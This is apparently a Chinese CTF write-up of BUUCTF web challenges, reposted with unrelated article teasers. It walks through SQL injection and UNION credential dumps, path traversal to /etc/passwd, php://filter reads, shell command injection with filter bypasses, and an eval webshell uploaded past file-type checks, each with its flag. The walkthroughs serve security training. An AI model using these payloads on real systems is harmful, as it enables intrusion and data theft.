BUUCTF--Web篇详细wp

news2024/11/20 2:23:53

BUUCTF--Web篇详细wp

    • [极客大挑战 2019]EasySQL
    • [极客大挑战 2019]Havefun
    • [HCTF 2018]WarmUp
    • [ACTF2020 新生赛]Include
    • [ACTF2020 新生赛]Exec
    • [强网杯 2019]随便注
    • [GXYCTF2019]Ping Ping Ping
    • [SUCTF 2019]EasySQL
    • [极客大挑战 2019]Secret File
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]Http
    • [极客大挑战 2019]Knife
    • [极客大挑战 2019]Upload
    • [ACTF2020 新生赛]Upload

CTF平台:https://buuoj.cn/

[极客大挑战 2019]EasySQL

使用万能密码登入即可。

1'or'1'='1  #万能密码(注意是英文小写)  

在这里插入图片描述
在这里插入图片描述

flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}

[极客大挑战 2019]Havefun

F12查看源代码 发现是PHP代码审计(小猫挺可爱呢~)

在这里插入图片描述
在这里插入图片描述

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

传了一个变量 然后是GET请求 如果cat=dog 就会输出 flag 构造Payload:/?cat=dog

在这里插入图片描述

flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}

[HCTF 2018]WarmUp

打开网页看到滑稽图 直接F12 然后访问这个敏感信息 source.php 直接看源码

在这里插入图片描述
在这里插入图片描述

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{313235c5-75b2-4e8a-b225-8e7413865bc7}

[ACTF2020 新生赛]Include

在这里插入图片描述
在这里插入图片描述
这里我们看到了?file=flag.php我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息

文件包含分为本地文件包含 和 远程文件包含(php.ini可以进行配置)

allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)

常见的文件包含 函数:PHP:include()、include_once()、require()、require_once()

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

用法:?file=../../../../../../../../../../../../../../../../etc/passwd

PHP伪协议:

  • php://filter 用于读取源码
  • php://input 用于执行php代码

php://filter使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

Payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php 然后Base64解码就可以得到flag

在这里插入图片描述
在这里插入图片描述

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

在这里插入图片描述
简单的命令执行 : 127.0.0.1 || cat /flag 即可得到flag

在这里插入图片描述

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入1,2 输入3的时候发现报错了 说明只有两个字段
在这里插入图片描述
在这里插入图片描述
先放着 还没研究明白这题

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
输入:/?ip=127.0.0.1 有回显继续过滤 || ls 发现有flag.php文件 这里看到space 提示是空格绕过

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这里第1种方法不行 可能是{}被过滤了 直接看第3个但是还是过滤了 在尝试一些index.php 这里可以看到源代码 进行代码审计!

在这里插入图片描述
在这里插入图片描述

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方

 `` 反引号 在linux中作为内联执行,执行输出结果
 cat `ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php
 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`

`
在这里插入图片描述

flag{ae43eee7-f909-4d59-b405-e52f3347c18f}

[SUCTF 2019]EasySQL

考点:堆叠注入

这里输入1,2有回显0有没有 字母也没有 尝试order 发现也被过滤了回显 Nonono

在这里插入图片描述
在这里插入图片描述
这里我们尝试一下堆叠注入 1;show databases; 发现有回显

在这里插入图片描述
查看数据库的表1; show tables; 发现 FLAG表 继续查询1;show columns from用来查询表中列名称 (发现这里也被过滤了)

在这里插入图片描述

在这里插入图片描述
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库

sql内置语句:sql=“select”.post[‘query’]."||flag from Flag";
*没过滤 输入*1就相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

在这里插入图片描述

flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}

[极客大挑战 2019]Secret File

直接F12查看源代码 看到了一个./Archive_room.php进行访问,使用BP简单抓个包发现了 secr3t.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里访问 flag.php 他说在里面 发现没有然后看到刚刚源码的 include()函数 存在文件包含使用伪协议(上面有讲怎么 使用)

构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述
Base64解码:http://www.jsons.cn/base64

在这里插入图片描述

flag{a402233a-9fc9-4d14-8c45-5dc839309887}

[极客大挑战 2019]LoveSQL

考点:联合注入

在这里插入图片描述
使用万能密码 1'or'1'='1

在这里插入图片描述

1' union select 1,2,3#  #联合查询查看 字段

在这里插入图片描述

1' union select 1,2,3,4#  #

在这里插入图片描述
这里输入4 报错 说明只有3个字段

在这里插入图片描述

1' union select 1,2,database()#  爆破数据库

在这里插入图片描述

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#  爆破geek表

在这里插入图片描述

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#  爆字段

在这里插入图片描述

1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1#  用concat_ws函数连起来全部看一下

在这里插入图片描述
这里F12太长了看不了

flag{95ef6cab-f872-44ad-b725-ccaffc73865e}

[极客大挑战 2019]Http

考点:HTTP伪造请求头

知识点:HTTP请求响应头

referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)
X-Forwarded-For: 用户访问服务器的 IP 地址
Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)
User-Agent: 使用的浏览器版本信息

F12查看一下源代码发现了/Secret.php 这里给了提示:https://www.Sycsecret.com 需要从这个url请求发送 直接抓包 改一下。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

referer:https://www.Sycsecret.com  
User-Agent:Syclover
X-Forwarded-For:127.0.0.1

在这里插入图片描述
然后又给了提示 需要使用Syclover浏览器 然后又提示本地访问!

在这里插入图片描述

在这里插入图片描述

flag{728bec5d-fa79-4344-960b-c21796344bab}

[极客大挑战 2019]Knife

考点:一句话木马和WebSell工具的使用

在这里插入图片描述
这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}

[极客大挑战 2019]Upload

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这里回显 NO php 说明不能后缀为php 尝试使用 phtml文件 不能包含:" <? " 还要进行绕过

在这里插入图片描述

使用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script> 这里还是不行 说上传的不图片!!

在这里插入图片描述
使用 GIF89a 图片头文件欺骗 php会检测其为gif图片 这里终于上传成功了!!!flag在根目录下 直接查看即可。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

flag{cafd9be5-a8fd-4df3-a495-fd08c6fb0a2f}

[ACTF2020 新生赛]Upload

这里要把后缀改了 jpg png都行 然后和上一题一样的方法 a.phtml 然后上传成功!!

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这里告诉了上传路径直接蚁剑连接 :./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

在这里插入图片描述
在这里插入图片描述

flag{e6460410-638d-4560-ab9b-34fa22f30854}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/418803.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL 分布式数据库实现:无需修改代码,轻松实现分布式能力

这个项目做什么 ShardingSphere-Proxy&#xff0c;可以让用户像使用原生数据库一样使用 Apache ShardingSphere。 了解一项技术的开始&#xff0c;一般从官网开始。先来看一看官网对 ShardingSphere-Proxy 的定义是什么样的&#xff1a; 定位为透明化的数据库代理端&#xff…

异配图神经网络——Graph Transformer Networks

一.论文概述 作者提出了Graph Transformer Network (GTN)用来在异配图&#xff08;heterogeneous graph&#xff09;上学习节点表示。通过Graph Transformer层&#xff0c;模型能将异构图转换为由meta-path定义的多个新图&#xff0c;这些meta-paths具有任意的边类型和长度&am…

运行Spring Boot项目时[ java: 错误: 不支持发行版本 17 ]

项目场景&#xff1a; 使用IDEA的Spring Initializr构建的Spring boot项目在构建完成后运行出错 问题描述&#xff1a; 用Spring Initializr创建了Spring Boot 项目后&#xff0c;运行时报错&#xff1a; “错误:java: 错误: 不支持发行版本 17”根据错误信息得知&#xff…

Vue学习笔记(5. 计算属性,监视器(侦听器))

1. 计算属性&#xff08;computed&#xff09; (1) get方式 初期显示 改变值后&#xff08;hello -> hello1&#xff09;计算属性allStr跟随变更 (2) get set方式 页面初期显示 改变值&#xff08;hello -> hello1&#xff09;计算属性的get会监控到变更&#xff0c;使…

国产SSD、内存卷哭国外大厂,三星宣布减产涨价在路上了

PC 圈有一句话是这么说的&#xff1a;论价格屠夫还得看国产品牌&#xff01; 可不是嘛&#xff0c;国产长鑫、长江算是彻底将全球存储芯片市场搅局者这一「骂名」坐实了&#xff01; 不说特别早期&#xff0c;前几年吧&#xff0c;普通单条 8G DDR4 内存都能卖到六七百元&…

C++ 红黑树

1.红黑树的概念 红黑树&#xff0c;是一种二叉搜索树&#xff0c;但在每个结点上增加一个存储位表示结点的颜色&#xff0c;可以是Red或Black。 通过对任何一条从根到叶子的路径上各个结点着色方式的限制&#xff0c;红黑树确保没有一条路 径会比其他路径长出俩倍&#xff0c;因…

D. Many Perfect Squares

题目链接&#xff1a;Problem - D - Codeforces 题意&#xff1a;给你一个数组&#xff0c;大小不超过50个。 问你让他们全部加上一个x&#xff0c;构造出来最多能够有多少个完全平方数。 思路&#xff1a; 先对数组排个序&#xff0c;首先它最少一定是有一个的&#xff0c…

Git配置SSH步骤

一、git 配置 &#xff08;1&#xff09;打开 git 命令窗口 &#xff08;2&#xff09;配置用户名&#xff08;填自己的姓名&#xff09; git config --global user.name “linjiaxiaozhu” &#xff08;3&#xff09;配置用户邮箱&#xff08;填自己的邮箱&#xff09; git…

电脑录屏的视频保存在哪里?您可以这样查看

案例&#xff1a;电脑录屏之后保存到哪里去了&#xff1f; “前几天&#xff0c;根据网络上的录屏教程试着录制了一下我的电脑屏幕&#xff0c;录制完成之后却找不到录制的视频。有没有小伙伴知道电脑录屏的视频保存在哪里&#xff1f;怎样才能快速找到&#xff1f;” 在现代…

pandas数据聚合和重组

介绍pandas数据聚合和重组的相关知识&#xff0c;仅供参考。 目录 1GroupBy技术 1.1简介 1.2对分组进行迭代 1.3选取一个或一组列 1.4通过字典或Series进行分组 1.5利用函数进行分组 2数据聚合 2.1简介 2.1面向列的多函数应用 2.2以‘无索引’的方式返回聚合数据 1G…

Faster R-CNN

目录 1. Fast R-CNN的不足 2. Faster R-CNN 3. RPN(Region Proposal Network) 3.1 anchor 3.2 RPN 网络 3.3 RPN 网络的损失 4. Faster R-CNN 损失 5. Faster R-CNN 训练 6. 对比 1. Fast R-CNN的不足 Fast R-CNN 的算法流程 Fast R-CNN网络运行速度慢的最主要原因&a…

浅谈根号分治与分块

文章目录1. 根号分治哈希冲突2. 线性分块引入教主的魔法[CQOI2011] 动态逆序对[国家集训队] 排队[HNOI2010] 弹飞绵羊蒲公英1. 根号分治 哈希冲突 题目1 nnn 个数&#xff0c;mmm 次操作。操作 1 为修改某一个数的值&#xff0c;操作 2 为查询所有满足下标模 xxx 等于 yyy 的…

一、基础算法6:双指针算法 模板题+算法模板(最长连续不重复子序列,数组元素的目标和,判断子序列)

文章目录算法模板双指针算法模板最长连续不重复子序列模板暴力法双指针算法数组元素的目标和模板判断子序列模板模板题最长连续不重复子序列原题链接题目题解数组元素的目标和原题链接题目题解判断子序列原题链接题目题解算法模板 双指针算法模板 for (int i 0, j 0; i <…

ForkJoinPool + RecursiveTask 来计算数组元素和

ForkJoinPool 是什么&#xff1f; ForkJoinPool 是一个 Java 并发编程框架&#xff0c;用于解决分治算法中的任务拆分、执行、合并等问题&#xff0c;是 Java 7 引入的一个新的工具类。 ForkJoinPool 的基本思想是将一个大任务划分成若干个小任务&#xff0c;然后并行执行这些…

SQL AVG函数

SQL AVG函数 SQL AVG函数简介 SQL AVG函数是一个聚合函数&#xff0c;用于计算集合的平均值。 以下说明了SQL AVG函数的语法&#xff1a; AVG([ALL|DISTINCT] expression)如果使用ALL关键字&#xff0c;AVG函数将获取计算中的所有值。 默认情况下&#xff0c;无论是否指定&a…

python+vue 图书馆读者行为分析系统-书友会

本系统主要包括以下功能模块&#xff1a;个人中心、用户管理、图书信息管理、图书分类管理、热门图书管理、书友会管理、报名信息管理、行为分析管理、在线论坛、系统管理等模块&#xff0c;通过这些模块的实现能够基本满足日常图书馆读者行为分析系统的操作。结合相关设计模式…

生成式 AI 与强人工智能:探索 AI 技术的未来

AIGC&#x1f388; AIGC&#xff08;AI Generated Content&#xff09; 即人工智能生成内容&#xff0c;又称“生成式 AI”&#xff08;Generative AI&#xff09;&#xff0c;被认为是继专业生产内容&#xff08;PGC&#xff09;、用户生产内容&#xff08;UGC&#xff09;之…

rust中的集合容器(切片和哈希)与错误处理

String、数组[T:n]、列表Vec\哈希表HashMap<K,V>等。 切片slice&#xff1b; 循环缓冲区 VecDeque、双向列表 LinkedList等。(这是指双向链表吗&#xff1f;) 这些集合容器的共性&#xff1a; 可以遍历 可以进行 map-reduce操作。 可以从一种类型转换成另一种类型。 主要…

VUE使用el-ui的form表单输入框批量搜索<VUE专栏三>

针对form表单的输入框单号批量查询&#xff0c;这里用换行符进行分割&#xff0c;注意v-model不要使用.trim 前端代码&#xff1a; <el-form-item label"SKU编码:" prop"prodNumbers"><el-input type"textarea" :rows"4" pla…

阿里数学竞赛决赛名单公布:北大人数是清华4倍 | 最小仅14岁

4月10日消息&#xff0c;第二届阿里巴巴全球数学竞赛决赛入围名单公布&#xff0c;全球12个国家516位选手晋级&#xff0c;晋级率仅有1&#xff05;。 根据参赛者填报信息&#xff0c;晋级选手80&#xff05;以上是90后&#xff0c;年纪最小的只有14岁。 入围人数最高的前20所高…